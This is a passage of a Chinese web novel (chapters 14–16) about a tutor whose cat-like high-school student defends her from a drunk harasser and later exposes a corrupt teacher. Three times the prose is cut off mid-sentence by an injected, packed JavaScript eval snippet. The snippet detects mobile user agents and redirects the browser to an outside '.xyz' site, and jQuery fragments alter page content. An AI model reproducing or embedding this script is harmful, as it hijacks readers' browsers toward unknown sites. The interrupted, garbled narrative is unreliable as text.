祁曜正在打勾,叶橙好奇地瞥了眼,皮皮虾、多宝鱼、花蛤……一连串的海鲜。
不愧是祁猫猫。
叶橙饶有兴趣地想,如果祁曜的妈妈是猫,肯定是三花级别的大美女,要不就是是高贵优雅的俄罗斯蓝猫。
叶橙托着腮问:“你妈妈也是猫吗?”
祁曜停下打勾的手,淡淡回答:“不是。”
“好吧,”叶橙感兴趣地问:“你认识三花猫吗?是不是三花猫人形都特别美?”
祁曜回忆起了他的欠揍表弟常烁,轻哂道:“丑死了。”
叶橙端起酸梅汁的手一顿,又重重撂下,“我看你纯粹是嫉妒!”
“我——”祁曜指了指自己的脸,难以置信道:“我会嫉妒他?”
无懈可击的漂亮脸蛋……
好像别人嫉妒他的概率更高些。
“我妈估计来不了——”祁曜装模作样地扫了眼手机,随后重重地叹口气。
他将额前的银发撸至头顶,粉唇轻启:“她工作很忙。”
“没时间过来,只能是我陪老师吃饭了。”
叶橙安慰道:“没事的。”
他家情况是不是有些复杂?
叶橙抿住嘴唇,不太好意思过问。
人生如戏。
富少也有富少的难处。
肚子灌的果汁太多了,叶橙去了趟卫生间。
等再出来后,途径一桌抽烟喝酒的醉醺醺男人。
叶橙心里蓦地生出一种厌恶感,她贴近墙根快步走,却听见一道有些熟悉、令人不适的声音。
“哈哈哈,林哥你泡妞这么多年,居然也遇到了情场滑铁卢。”
“咱们林哥这叫情场失意,学业得意。人家都考上名校研究生了。”
林翊受着众人追捧,端起酒杯骂骂咧咧:“那女的给脸不要脸,我都说的那么明确了,帮她找工作!”
一旁的男生挤眉弄眼:“喂,你这次pua话术不管用了?我还想向你取经呢!”
“放屁的pua,老子那是真心实意地追求!”
林翊喝得酒气熏天,还能在人群中一眼瞄准叶橙,他站起来破防大喊:“喂!你给我过来!”
叶橙没理,冷冷地瞪他。
四周好友起哄嘲笑,像一群上蹿下跳的猴子。
林翊恼羞成怒,恨恨踹了下面前的桌子,桌沿的酒瓶掉到地板上,发出刺耳的破碎声。
其实第一天,他就注意到叶橙了。
她浑身散发着一种稚嫩小绵羊气息,单纯又好骗。
他最喜欢骗两种类型的女孩子,一种是玩得开的,可以满足他一些不为人知的小癖好;另一种是不谙世事的,适合娶回家当老婆。
换种文学化的表达方式,那就是红玫瑰与白玫瑰。
叶橙内心窜出一团火,死死地攥紧拳头,愤怒的情绪远超过恐惧。
恶臭男!不要脸!
她所处的位置是个监控死角,正好被几张桌子堵住,很难跑出去。
四周也没有其他顾客,对方却人多势众,林翊的那些狐朋狗友也跟在他身后,一起往这边走。
叶橙扛起旁边的椅子,一双眸子亮得惊人!
跑不了就打上去!大不了拼了!
林翊步履蹒跚地扑过来,表情凶狠,伸出手想要拽叶橙的衣服。
叶橙灵活躲闪,抡起椅子砸在他的胳膊上。
不料,某个贼眉鼠眼的男人溜到她背后,举起酒瓶准备搞偷袭。
就在痛感即将来袭的刹那,叶橙被某个安全感极强的怀抱护住,鼻尖嗅到了一丝清冽的薄荷香。
14. 猫语言(☆^ー^☆)
身前是十几个凶神恶煞的醉酒男人,身后是虚虚环住她肩膀的祁曜。
刚刚准备搞偷袭的那人早已躺在地板上,半条腿还陷进椅子扶手与座面的空隙里。
男人单蹦着腿站起身,呲牙咧嘴嚎叫的同时,也不忘威胁:“今天让你竖着进来横着出去!”
林翊扫视一圈,发现屋内全是他的帮手,原先畏畏缩缩的他瞬间有了底气,分不清谁才是大小王,嘴上也没有了把门的,开始招呼他的狐朋狗友一起上。
他一个人打不过,一群人还打不过吗?
祁曜在发现叶橙安然无恙后,因恐惧而生出的硬刺渐渐软化下来,轻轻摩挲了下她的手腕,示意她先跑。
接下来的画面,不太适合单纯的小猫老师看。
叶橙瞬间明白了祁曜的意思,她将手机放在一个不易被察觉的角落,快步跑出去找帮手。
刚刚在听见林翊的声音时,她就已经打开了摄像头和录音软件。
祁曜慢条斯理地整理袖口,眸光沉沉地审视那几个跳梁小丑,“一帮酒囊饭袋。”
他冷冷地直视最中间的林翊,语气带着不容忽视的威胁:“你想死吗?”
“我和你说过了,你敢动她——”祁曜掀起眼皮,用碾压式的拳头告诉了林翊是什么后果。
对方人多嘴杂,似乎觉得祁曜只是一个毛还没长齐的小屁孩,根本不足为惧,直接呼啦啦一群人全上。
祁曜眉梢微沉,眼中闪过一丝不悦,以一挑十,依旧游刃有余。
跑出去的叶橙却没有祁曜那般从容,店内没什么顾客,她只能慌乱地去找老板。
老板窝在狭窄的台面上,四周是摞成小山高的菜单,还有乱成一团的充电线,人却睡得正香,甚至打起了震天响的呼噜。
叶橙大喊:“有人闹事!”
老板没有反应,甚至开始磨牙,牙齿间发出刺啦刺啦的摩擦声。
饶是她怎么喊怎么推,也没有要醒的迹象。
走投无路下,叶橙急中生智:“你老婆跟人跑了!”
听到这话,老板从睡梦中惊醒,直接把收银台上的招财猫扫到地上,“啊?!”
“真的假的?!”
他抱住脑袋,左右环视,用手比出一米六的身高:“我老婆呢?我那么大的一个老婆呢?”
“假的。”
老板:“……”
“下次不要开这种玩笑,我继续睡了。”
“不是!”叶橙急得脸色煞白,手掌握成拳将台面砸得咣咣响:“有人在寻衅滋事!”
老板娘掀开帘子,适时跑过来,一掌劈在老板后背上,“丫头别急,你先过去,我去帮你叫帮手。”
说完,还踹了下发出杀猪般惨叫的老板,“你快点过去!别闹出事!”
叶橙在前面开路,虎背熊腰的老板拎起擀面杖跟在她身后。
打斗似乎已经到达了白热化阶段,叶橙能听见一些沉闷有力的肉搏声,加快了脚下的步伐。
当看到屋内的场景时,叶橙下意识愣了愣。
这是她第一次对祁曜的武力值有了清晰的印象。
男生脸上带了点轻微的擦伤,却不落下风,他的打斗技巧很娴熟,以最不费力的方式,打在对方痛感最重的地方。
“草——”五大三粗的林翊吞了口嘴里的血沫,鼻子上的两个洞喘着牛气,嘴里不干不净:“草!草!草!”
祁曜缓慢地掀开眼皮,傲慢睥睨比他矮了半个头的牛。
那冰冷蔑视的心声和猫爪弹幕一同映进叶橙的脑海里:[真没意思,好不禁打。]
[要知道就穿件辣椒颜色的衣服了,还能享受点斗牛的乐趣。]
辣椒颜色?
叶橙冒出疑惑,眉头始终紧锁着,眸光定定地凝视祁曜脸上的青紫。
与此同时,耳边炸响林翊气焰跋扈的求饶声。
“你他妈住手!”
“我认输!”
“我都说了我认输!你他妈还不住手!”
林翊和他的狐朋狗友们是在泡吧时认识的,早就他们的好友早就翻出窗户跑得连个人影儿都看不见,只有墙根遗落了一只灰姑娘的运动鞋,上面被踩了好几个灰脚印。
应该是打斗时被人踩的。
唯一留下的只有偷袭男,他也不复刚才的嚣张模样,双手抱头蹲在墙根。
林翊头发乱得像鸡窝,呲牙咧嘴地调整表情,好缓解脸上的疼痛。
最前方的祁曜长身玉立,肤色冷白,衣服纤尘不染,干净得不像是一个图层。
只有侧脸处的一道擦伤,格外刺眼。
祁曜眼中的冷意还没有消下去,猝不及防间,与叶橙那双圆润的杏眼对视。
他先撇过头去,头顶冒出两只猫爪,抵在一起互相搓弄:[别怕我。]
怎么会怕你呢?
你是只好猫,又不是暴力猫。
叶橙神色镇定的举起手机,不卑不亢地说:“我这里都有录像,你们再敢动手我就报警。”
闻言,林翊那点偷袭的心思也歇了,他将那把美工刀藏在袖口偷偷溜走,路过二人时,祁曜似笑非笑地看了他一眼。
林翊心下一凛,他突然有种自己搞的所有小动作,对方都心知肚明的错觉。
自大的情绪战胜了那点微不足道的畏惧。
草,他们算个屁!
他极其平等地厌恶这个世界,厌烦在场的所有人!
凭什么他就活得像个阴沟里的老鼠,第一天看见叶橙明媚的笑容时,他就隐隐有种想破坏、想毁了她的冲动。
死死死!所有人都该死!
有大好的前途在等着他,至于叶橙,她就只能一辈子在找不到工作、考不上研的泥石流里挣扎。
那个男的又在看他,他也该死!
-
叶橙与呆滞的、心声乱码的祁曜走出烧烤店。
今天恰巧是如香蕉般弯弯的月亮,夜晚的风温度也适中,簌簌扑在二人脸上。
祁曜头顶上的富士山猫爪冒出一堆叶橙看不懂的字符。
[……~……~……??!!(☆^ー^☆)]
[werwermiaomiao~]
[werwermiaomiao~]
这是什么意思?
猫语言文学吗?
这当然不是神他喵的猫语言文学!
就在刚刚,祁曜又看见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627898|172465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一种颜色。
是他从那边未见过的颜色。
那种颜色让他感到镇定,感到久违的安宁,还有一种孤注一掷的勇气。
在烧烤店内,叶橙举起手机说她有全部录像时,自内由外散发出一种酸甜交织的蓝莓果香,带着饱满的水润感,不多不少,恰恰好。
是如夜晚天空一样的靛蓝色。
片刻后,祁曜的心情拐了山路十八弯,猫爪弹幕也随之疯狂斗图。
[猫好舒服.jpg]
[猫好愉快.jpg]
……
[猫要上天堂了.jpg]
糟糕,猫该不会坏了吧?!
叶橙突然觉得祁曜周身散发着柔和的光晕,飘飘然欲欲仙,好似即将腾空而起,与她挥手说再见!
桥豆麻袋!
叶橙以一种惊恐万分的表情抬头,祁曜以一种暗暗喜悦的表情低头。
目光交汇的瞬间,蓝莓的气味刺激着祁曜的感官,打通了视觉与嗅觉之间的界限。
夜晚的风渐渐缓下来,蹭过他的鼻尖,靛蓝色的天空寂静着,从他眼前掠过。
叶橙的目光徐徐挪至祁曜脸上的擦伤,风将她的声音送进他的耳朵里。
祁曜听见了,她问他疼吗?
男生不太冷静地搓了把脸,笑了笑:“你说呢?”
怕自己脸上的伤吓到对方,随即恢复至一种调侃的口吻:“就是看着吓人,其实一点都不疼。”
[猫好冒火.jpg]
[真丢人丢到家了,那帮家伙居然搞偷袭!]
[要不然怎么会毁容……]
[可恶!可恶!]
途径药店时,叶橙径直走过去,等再出来时,手上拿了消毒用的碘伏棉签和云南白药创可贴。
坐在长椅上的祁曜轻嘶了声,小声咕哝道:“老师,你轻点。”
叶橙手上的动作很轻,目光担忧地落在他的手上,问:“你的胳膊和手没事吧,影响写字吗?”
“没有事。”
祁曜给自己贴好了创可贴,抻了下胳膊,缓缓说:“原本脸也该没事的,但有个人他耍阴招,他把一个浑身是灰的男人推过来……”
男生似乎是联想到什么不太好的记忆,轻蹙了下眉,语带嫌弃地说:“脏死了。”
话音刚落,祁曜担心叶橙不信,他掀开衣袖,露出半截手臂,真的是臂力惊人,青筋暴起。
真的没有说假话。
猫的心情说变就变,刚刚还在开玩笑,紧接着又陷入毁容危机中。
[猫毁容了,烦烦烦……]
叶橙将用掉的棉签丢进垃圾桶,安慰闷闷不乐的缅因猫:“你不会毁容的。”
祁曜脸上的伤口不算大,就小拇指盖大小,大概过两天就能消掉。
祁曜:“……”
她是我肚子里的蛔虫吗?
“要是我真的毁容了呢?”祁曜摆弄衣服下摆,抬起头继续追问。
叶橙认真思考了会儿,她盯着他银光闪闪的圆润后脑勺,说:“放心吧,老师砸锅卖铁也会帮你整容。”
祁曜微微上翘的唇角僵在脸上,像是吃到蛀虫的苹果那般哑口无言。
15. 捷足先登
周一清晨,艳阳高照。
祁曜踩着点走进教室,刚放下书包就被班长叫到办公室,说是班主任蒋劲松有事找他。
能有什么事?
和狗皮膏药一样的不要脸事。
男生倦怠地起身,掀开眼皮懒懒看了眼手腕上黑色电子手环的时间。
走廊上静悄悄的,推开门,办公室也空无一人,祁曜径直坐在蒋劲松的位置上。
他还挺会享受,坐垫靠垫U型枕一应俱全。
桌子上也摆了一堆人参燕窝礼盒套装,高档包装的西湖龙井,桌子底下还藏了几瓶茅台。
男生不耐烦地“啧”了一声,空气中的酒香严重超标。
每天都在这种环境下办公,不知道办公室其他老师做何感想?
祁曜面无表情地打量着,蓦地在心里冷呵一声,随后毫不犹豫地翻出早已写好的演讲稿,准备往里面加点“夸奖”的好词好句。
大概过了一个小时,蒋劲松才拎着泡好茶水的玻璃杯姗姗来迟。
他是故意的,就是想挫挫年轻人的锐气,就是想报复之前祁曜当着那么多人的面不给他面子。
办公室门嘎吱一声被推开,祁曜头也不抬,马上就会有一篇大作产生。
蒋劲松重重地将茶杯放在桌上,胡乱嚷嚷:“我昨天晚上不是和你说过吗?今天早上要代表高三年级所有学生进行发言!你怎么现在才写!”
祁曜闻言敛了下眼皮,镇定自若地将稿纸折好,轻描淡写地扔下一句:“哦,忘了。”
“你!你!你——”蒋劲松气急败坏地竖起手指,你了半天也憋不出一个字,最后只能无能怒吼:“你还不给我起来?”
祁曜“哦”了一声,坐在另一张椅子上,没有坐垫靠垫,不太舒服。
他神情自若地支起下颌,与蒋劲松进行友好的师生对话。
蒋劲松眉心狠狠一跳,看见桌下的酒藏得好好的,松了口气,再抬头发现祁曜就坐在对面,自己刚刚还都在对方的眼皮子下行动着,瞬间恼羞成怒。
“你怎么还坐着?”
祁曜凉凉地瞥了他一眼,岿然不动,“这不是你的座位。”
意思很明确,和你没关系。
闻言,蒋劲松嫌弃地拧眉,忍无可忍道:“一副混球做派!”
“还有你这脸——”蒋劲松的手拍在堆成小山高的试题册上,牵连邻桌老师的三角板也跟着晃,“要不是校长非要求必须是年级第一发言,我早就让祁亮替你了。”
祁曜听得耳朵疼,眉头微皱,有点认真地说:“那你让他去。”
“不行!”蒋劲松迅速反驳:“必须是你去!”
上级领导要求是年级第一作为学生代表进行发言,好起一个表率作用,要不然这好事怎么可能轮到祁曜头上?
祁曜沉默着,只看见蒋劲松那张紫得发黑的嘴在喋喋不休:“你知道该说些什么。”
他当然知道说些什么。
蒋劲松又讲了很久,祁曜自动屏蔽掉那些没什么营养的废话,开始漫无目的地观看窗外叽叽喳喳的小鸟表演。
圆滚滚的,和某只猫的老师一模一样。
-
九点四十分的大课间,安静如鸡。
祁曜顶着大太阳,银发耀眼夺目,清冷自持地站在升旗仪式上作为学生代表进行发言。
他义正言辞地读着“加了料”的演讲稿。
结果开幕雷击:“我错了!”
这话被麦克风放大音量,传进在场所有人的耳朵里,劈得底下众人瞠目结舌。
这不是学生代表的发言吗?
不是要分享学习心得吗?
学神能有什么错?
原本静得仿佛被按了暂停键的人群,瞬间热闹起来。
高三学生议论纷纷,高一高二的学弟学妹不明所以地望过来,齐齐冒出问号:“这咋了?”
只有高三一班站在最后的蒋劲松双手抱胸,满意地点点头。
不错,他的威胁起作用了,祁曜果然害怕没有报送名额,乖乖地当着众人的面给他认错。
稍微敏感的学生努了努鼻子,闻到了清甜爽脆的西瓜味,兀自捂着脸乐了:“太好了,有瓜吃!”
“是啊是啊!”旁边的同学接茬:“不用上课就是好!”
说完,便像兵马俑一样昂首挺胸,认真听台上的人演讲。
“我在这里郑重地向高三一班班主任蒋劲松老师道歉。”
祁曜表情冷峻,语气淡然:“我不该辱骂他见钱眼开,不该夸奖他聪明绝顶。”
聪明绝顶?!
四周的学生迅速转头寻找,不知道是谁先忍不住笑了:“噗——”
聪不聪明不知道!但绝顶是真的,蒋劲松抹了油的地中海发型亮得出奇,简直是人群里最靓的崽,是校园论坛的明日新星!
祁曜继续念加了“好词好句料”的演讲稿:“不应该暴露他和祁亮同学有不正当关系,不应该暴露蒋劲松老师收礼,威胁同学让出报送名额。”
“虽然我不需要这个名额,祁亮同学很需要这个名额,但我认为我们不应该侮辱其他同学的人格。”
淹没在人群里的常烁率先带头喊了一句:“哦~吼~”
一蛙声起,遍地呱呱呱。
整个升旗仪式的同学都在起哄:“哦吼吼吼!哦吼吼吼!”
还夹杂着憋笑的“噗噗噗”背景音乐。
一整个生物炸弹现场。
原本也就仅限于当天办公室的几个人知道。
现在是全校所有人都知道了,就连校长也知道了,他们市一中居然出了收礼威胁学生的败类。
等反应过来,蒋劲松目眦欲裂地死死盯着演讲台上的祁曜,他冲过去对着无辜的学生怒喝:“关掉快关掉!”
“快关掉!你们聋了吗?!”
负责升旗仪式的同学翻了个大白眼,慢吞吞地掏了掏耳朵:“老师,您在说什么?”
“一会儿还要播放解散的铃声,哪能关上呢?”
蒋劲松面色如土,像是刚从泥坑里挖出来:“我说关就关,天塌下来有我兜着。”
“还有——”他突然想起来什么,说:“你是哪个班级的?待会儿我要去找你们班主任好好说道说道!”
威胁人威胁上瘾了?
安静坐在位置上的同学站起身,礼让:“老师,您亲自来关吧。”
常烁和祁曜一前一后地走着,三花猫的水蓝色眼睛里写满了跃跃欲试的兴奋:“真有意思,小松子的脸都绿了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627899|172465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>他弹了弹祁曜手上的演讲稿:“去厕所吗?”
“不去,人太多了。”
祁曜头也不回,将演讲稿塞进裤口袋,懒懒撂下一句:“臭。”
常烁无言以对地暗骂:“王子病。”
你们缅因猫王子全身上下都是香喷儿的。
-
转眼就到了周五。
叶橙这一周都在忙,忙毕业论文的查重,既需要查AIGC,还要查论文整体的重复率。同时,她还接了——
一个新的学生订单。
新学生季霖是宋金金的外甥,正在上小学三年级,叶橙疑惑她为什么不去教?
按宋金金自己的话来说就是“那个榆木疙瘩脑袋”。
“给他讲课,得把我气死。”
叶橙给季霖布置了五道数学计算题,准备看看还剩多少时间下班,结果收到了浑身香喷儿的缅因猫王子祁曜的消息。
[老师,你在忙吗?]
叶橙看了眼正在写题的季霖,垂眸打字:[我在给学生补习。]
Q:[猫猫疑惑.jpg]
紧接着,祁曜又发过来一条:[你的学生不是我吗?]
叶橙轻轻叹了口气,选择如实脱出:[除了你,我还有其他的学生。]
合上手机后,叶橙检查了下季霖做的计算题,答案全部正确。
哪里是榆木疙瘩脑袋?明明很聪明啊,是金金说的太夸张了吧。
叶橙收拾好书包,临出门前和季霖妈妈打了声招呼:“阿姨,今天季霖表现得很不错,我先回学校了。”
季霖母亲从厨房里走出来,有点不好意思地说:“小叶老师,能不能帮我个忙?”
叶橙侧过头洗耳恭听,示意她继续讲。
“我现在忙着做饭,你可以帮我盯着霖霖在楼下滑滑板吗?昨天答应他了,说要是今天表现得好,就奖励他玩半个小时的滑板。”
也不是什么大事。
叶橙看了眼抱起滑板直勾勾盯着自己的西瓜头小男孩,不忍心拒绝呢。
她温声笑了笑说:“好的。”
季霖在路面上快速滑行,叶橙边给他竖了个大拇指,边有一搭没一搭地和手机另一头的祁曜聊天。
短短几句话,祁曜已经套出了叶橙所处的具体位置,他随手抓起一件外套合上门。
此时此刻的叶橙浑然不知自己被人套了话,她正在疯狂偷祁曜发过来的表情包。
[猫猫知道了.jpg]
[猫猫荡秋千.jpg]
[猫猫打麻将.jpg]
……
好乖好可爱,星星眼闪动的叶橙通通点下添加按钮。
季霖小朋友懂事地收回滑板,礼貌地说:“拜拜叶姐姐,我上楼了。”
就这么毫无预兆地,叶橙错愕转身,看见了祁曜鬼魅般的身影。
那湖水似的碧绿色眼睛瞬间变得晦暗不明,祁曜玩味地笑了笑,他在叫她:“叶姐姐,原来你对学生这么好啊?”
连他都只能叫老师,那家伙凭什么捷足先登叫姐姐?
谁允许的?
祁曜的身影逐渐逼近,头顶上的猫爪颜色更深了,几乎与傍晚的火烧云连成一片:[明明说好了,猫要赖她一辈子的。]
16. 假太阳
黑色鸭舌帽罩在头顶,遮挡住大部分温柔的夕阳。
祁曜眼睫低垂,闷闷不乐地紧抿住嘴唇,草莓粉的唇色有些发白,唇角略微干燥起皮。
沉默良久后,男生率先有了动作,他伸出手想要摸摸叶橙的侧脸。
几乎是迅速地,叶橙出于本能反应避开了。
有一种说不清道不明的情绪在滋生,她也不知道为什么,明明是比自己年龄小很多的男孩子,却让她想要立刻逃跑。
明明……不应该的。
叶橙没有抬头,她牢牢地拽住书包一侧的背带,指节攥得发白,她看见了自己的脚尖像一尾游动的鱼。
拥有了一触即离的亲吻。
渐渐地,两脚之间的距离分开,紧绷的神经也悄无声息地松懈下来。
也在这一瞬间,祁曜头顶上的猫爪落下眼泪,顺着火烧云颜色的肉垫降落,隐于柔软的银色发丝间。
虽然看不见,但是男生的心声一直在往叶橙的脑海里灌输。
[为什么不让我摸?]
[为什么要躲开?]
[为什么要有其他学生?]
……
[很讨厌我吗?]
[是我还不够好吗?]
[请告诉我哪里不好,我立刻改掉。]
叶橙不明白自己只是接了一个新的补习订单,居然对祁曜刺激这么大?
他没有哪里不好。
恰恰相反,他很聪明,基本上是一讲就通。
叶橙觉得胸口发闷,她张了张灼热的唇,解释道:“那是我室友的外甥,成绩始终提不上去,拜托我去帮忙补习。”
祁曜闻言敛了下眼皮,心口在躁动不安地跳动,他并没有讲话,猫爪弹幕却暴露了他的真实情绪。
[错了。]
[笨老师,你没有理解我的意思。]
叶橙刚想反驳,内心却不由她意地微微发怔。
在清风徐徐、鸟语花香的环境中,男生的那声叹息显得格外沉重。
像是有一双手在隔空抚摸她,在她波澜不惊的胸口处,荡起了几道波纹。
再给我点儿时间吧。
给我一个机会吧。
祁曜抿着嘴唇,迟缓地将焦灼的视线挪至叶橙那微微发干的嘴唇上,“你抬头。”
“看一下我。”
“好不好?”
一字一句掷地有声,叶橙像是被男生蛊惑般抬头,对上了那双摄人心魄的碧绿色猫眼。
富士山猫爪不再落泪,早已恢复至正常状态,肉垫从曾经的玫瑰粉变成了现如今暖橙调的火烧云颜色。
赤诚明亮,热烈坦荡。
男生的声音依旧干净,在风的烘托下,更添上了一种像讲故事一样娓娓道来的厚重感。。
[你好像有个透明的玻璃罩。]
[把自己罩在里面,把我隔绝在外面。]
[无论我怎么敲击,你始终不理不睬。]
[但我是只有耐心的猫,会日复一日地敲击。]
祁曜摘下了黑色鸭舌帽,银色发丝在阳光下更闪耀了,猫爪弹幕将未说完的话补充完整。
[那么你呢?]
[迟钝的人类。]
[你累吗?辛苦吗?]
[我会等到敞开心扉的那一天吗?]
叶橙只觉得自己的大脑不太清醒。
她自诩是个阳光开朗的人,也始终秉持着笑对人生的信念,用元气饱满的心态面对生活、安慰他人,竭尽全力地将自己的生活打理得井井有条。
事实证明,她也确实做到了。每天疲于奔波,复习考研的知识点,不断完善自己的论文,备课赚钱,从早忙到晚,活得很累。
但现在突然有个人对她说,你有个玻璃罩,不容许我接近,不停地隔绝我。
你可以试图活得轻松些,不要让自己过得那么辛苦。
她好像个假太阳。
然而假太阳,终究是不可能成为真太阳的。
叶橙飞快地眨了眨眼睛,不让眼泪落下来。
思绪一旦展开,便再也停不下来。
叶橙陷入了自我辩驳的纷争里,一道心声对她说你就是个小太阳,你很会安慰别人啊,也很会治愈自己。另一道心声却说你是个懦弱的人,不愿意面对困难,只能用笑容来遮掩你的心虚。
突如其来地,叶橙听见了第三道心声。
是祁曜的哽咽声。
叶橙身体僵直,定定地直视祁曜。
男生的眼睛渡了一层水光,不复以往的清澈透明,此时的他多了一份蜂蜜般的粘稠感。
让人招架不住,想要深陷。
祁曜泪眼汪汪地陈述:“你终于肯看我了。”
叶橙沉默不语,结果却等来了男生变本加厉地追问。
他故作不解,问:“很喜欢我哭?”
她蹙眉迟疑,答:“怎么会呢?”
祁曜敏锐地察觉到叶橙那一秒的停顿,了然笑笑:“我懂了。”
与此同时,猫爪也像是悟出什么惊天大道理一样,迅速蹦出弹幕:[果然,网上说得没错,男人的眼泪,女人的兴奋剂。]
[以后我会经常哭。]
你懂什么了?
我请问!
简直是一派胡言!
她又不是什么喜欢欺负小猫咪的大变态,怎么会喜欢看猫哭呢?
叶橙别别扭扭地牵扯了下唇,从包里翻出HelloKitty印花的纸巾,递过去:“擦擦眼泪吧。”
祁曜用一种小猫撒娇的软软语调说:“你帮我擦。”
叶橙的心脏比钢铁还要坚硬,她不为所惑,保持自己的态度,冷冷扔下一句:“你自己擦。”
祁曜没反应,只是直勾勾地看她。
叶橙感觉到自己像是被一只大猫所注视,又像是被一只幼小奶猫不停地拱手心。
既精神分裂,又生出一种怜惜。
最后,她撇过头,自暴自弃地说:“你太高了,我够不到。”
祁曜俯身贴近,碧绿色猫眼比钻石还要闪亮:“这下能够到了吧。”
叶橙半蹲下身体,恨恨地咬牙,嘴硬道:“够不着够不着,反正就是够不着。”
看来是骗不到了,祁曜懒洋洋地接过HelloKitty印花的纸巾,硬挤出的泪水早已风干。
反正他的目的已经达到了。
只要她不难过,也不伤心。
那就很好很好了。
在察觉到纸巾被拿走后,叶橙松了口气。
她忽然抬头,盯着祁曜左脸那一小块疤痕,看起来好得差不多了。
祁曜顺着叶橙的视线,主动摸了下脸:“可疼了。”
真的假的?
叶橙认真思考着,祁曜看起来细皮嫩肉的,确实有好得慢的可能性。
在不知不觉中,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629338|172465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又被忽悠了。
叶橙用一种担忧的目光,轻声询问:“真的很疼吗?”
祁曜喉结轻轻滚动,不太自然地说:“有一点。”
在回去的路上,祁曜想要送她回学校,叶橙却将他赶跑,让他快点回家复习。
然而她自己也确实需要一个安静的空间,需要静下心来,好好想想。
温热的水流滑过皮肤、头发、眼睛。
她渐渐后知后觉起来。
好像经了祁曜那么一打岔,心情没有那么糟糕了。
无论是真太阳,还是假太阳,只要能温暖自己,便足矣。
或许,她该尝试将自己的节奏放缓些。
轻松自在的生活,或许会给她带来不一样的转机。
-
时间有条不紊地继续向前。
没有人会永远停留在昨日,太阳掠过海平线的刹那,即是一场新生。
在新的一周,津海市一中的蒋劲松老师被解雇。
他为自己辩驳:“马上就要高考了,我不能离开我的学生。”
教导主任没有讲他的话放在心上,他淡淡地瞥了一眼蒋劲松的头顶:“我看你是离不开钱吧。”
“离了你,高三一班照样是最好的班级。”
“你可以去看看,那些孩子是什么状态。”
蒋劲松收拾好自己的东西,临走前,在班级门口驻足良久。
确实,无人在意。
就连曾经他帮助过的祁亮,也视他为空气。
祁曜听见常烁在议论蒋劲松和祁亮反目成仇、打成一团的事情。
话音刚落,祁亮就满脸青紫地走进教室,他用手死死捂住鼻子,鼻血顺着指缝流得满胳膊都是。
他冷冷地扫视班级内的所有人,走到祁曜桌子旁,眼神带着说不清道不明的敌意。
“看我被蒋劲松打成这样,你是不是很得意?”
“等着吧,我爸不会让你好过的。”
祁曜淡定地拿出试卷,将祁亮视为空气。
他丝毫不在意那些不相关的人和事,他只在乎自己的语文成绩能不能让她满意。
旁边的常烁笑嘻嘻地拱火:“是啊,他可开心了。再多打几拳,祁曜会更高兴的。”
转眼就到了端午节假期,神兽回笼的日子。
高三生也都各自回家,他们马上就要高考了,也即将迎来解放。
学校有两种安排,假期后学生可以来学校复习,也可以选择在家复习,完全自愿,不做强迫性要求。
祁曜是后者,他的成绩一直稳定在全校第一,二模时语文成绩也突飞猛进。
可以说,他考上清大,完全是板上钉钉的事情了。
在去给祁曜上最后一节课前,叶橙听到了一个爆炸性新闻。
“哎,你听说了吗?电气学院有个男的被取消研究生名额了,说是有人举报。”
“举报人是小林同学的女朋友,校园论坛上都炸了。”
宋金金凑到叶橙耳边小声嘀咕:“他陪睡。”
陪睡?!
叶橙震惊,宋金金继续补充:“喏,你看,这就是那个人的照片。”
照片上的男生五大三粗,一脸被烟酒掏空的颓废样。
这是……林翊?
“这事实锤了,学校也发了官方公告,光荣榜上的照片都被撤了。”
宋金金拍了下手,露出一个你懂的表情。